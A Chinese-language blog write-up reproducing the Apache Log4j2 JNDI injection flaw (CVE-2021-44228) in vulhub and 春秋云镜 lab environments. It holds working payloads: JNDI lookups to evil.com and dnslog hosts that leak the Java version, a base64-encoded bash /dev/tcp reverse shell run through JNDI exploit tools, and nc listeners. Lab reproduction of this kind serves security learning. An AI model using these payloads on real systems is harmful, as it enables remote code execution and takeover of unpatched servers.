【漏洞复现】Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
0x01 漏洞描述
Apache Log4j2 是一个基于 Java 的日志记录工具, 是对 Log4j 的升级,它比其前身 Log4j 1.x 提供了显着改进,并提供了 Logback 中可用的许多改进,同时修复了 Logback 架构中的一些固有问题。该日志框架被大量用于业务系统开发,用来记录日志信息。
Log4j 的 JNDI 支持并没有限制可以解析的名称。一些协议像rmi:和ldap:是不安全的或者可以允许远程代码执行。攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}
的lookup用于进行JNDI注入,执行任意代码。
0x02 影响版本
Apache Log4j2 2.0.0 - 2.15.0-rc1版本
0x03 漏洞分析
hello?payload=111
jndi注入:(搜索资源服务) # 前两个为验证,第三个为利用
payload=${jndi:ldap://xxxx.dnslog.cn}
payload=${jndi:ldap://${sys:java.version}.xxxx.dnslog.cn}
payload=${jndi:rmi://192.168.66.128:1099/shell}
- 当用户通过get或者post提交输入信息时,应用程序中的“log4j2"组件会将信息记录到日志中
- 假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/shell},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/shell
- 解析到ldap,就会去192.168.96.1:1099的ldap服务找名为shell的资源,找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入
- 攻击者就可以通过shell实现任意的命令执行,造成严重危害
攻击拓扑
![](/i/l/?n=23&i=blog/2701281/202303/2701281-20230326194239564-1528092653.png)
0x04 漏洞验证
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。
使用vulhub靶场,启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:
cd vulhub/log4j/CVE-2021-44228/
docker-compose up -d
访问http://your-ip:8983
即可查看到Apache Solr的后台页面。
![](/i/l/?n=23&i=blog/2701281/202303/2701281-20230326194248792-1472487409.png)
对目标网站进行测试验证,利用dnslog生成一个用于接收回参的网址。
访问网址:
http://ip:8983/solr/admin/cores?action=${jndi:ldap://xxxxx.dnslog.cn}
![](/i/l/?n=23&i=blog/2701281/202303/2701281-20230326194305200-369807521.png)
${jndi:dns://${sys:java.version}.dnslog.cn}
是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:
http://ip:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.dnslog.cn}
![](/i/l/?n=23&i=blog/2701281/202303/2701281-20230326194314639-1055349803.png)
收到回显:
![](/i/l/?n=23&i=blog/2701281/202303/2701281-20230326194326176-238567172.png)
证明漏洞存在。
0x05 漏洞利用
本地复现
攻击机:192.168.60.128
靶机:192.168.60.132
构造反弹payload:
bash -i >& /dev/tcp/192.168.60.128/8888 0>&1
经过base64加密:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYwLjEyOC8xMzg5IDA+JjE=
使用JNDI注入工具:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYwLjEyOC8xMzg5IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.60.128
// -c是执行的bash命令,-A是指JNDI服务器IP
生成rmi远程执行代码地址:
rmi://192.168.60.128:1099/hgayzd
构造JNDI注入payload:
${jndi:rmi://192.168.60.128:1099/hgayzd}
开启nc监听:
nc -lnvp 8888
将payload插入action后访问执行:
http://192.168.60.132:8983/solr/admin/cores?action=${jndi:rmi://192.168.60.128:1099/hgayzd}
nc监听成功:
春秋云镜靶场CVE-2021-44228
进入靶场,界面如下:
![](/i/l/?n=23&i=blog/2701281/202303/2701281-20230326195126069-2110488942.png)
漏洞注入点在text处,验证如下:
dnslog收到回显:
使用JNDIExploit-1.4-SNAPSHOT.jar工具
vps上开启服务
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i ip
开启监听
nc -lvvp 22222
构造payload
${jndi:ldap://ip:1389/Basic/ReverseShell/ip/22222}
在目标网站参数处加入payload后访问
成功反弹shell:
参考步骤:https://cloud.tencent.com/developer/article/2023496
参考视频:https://www.bilibili.com/video/BV1xe4y1h7Dv
标签:JNDI,jndi,192.168,漏洞,lookup,ldap,Apache From: https://www.cnblogs.com/0dot7/p/17259327.html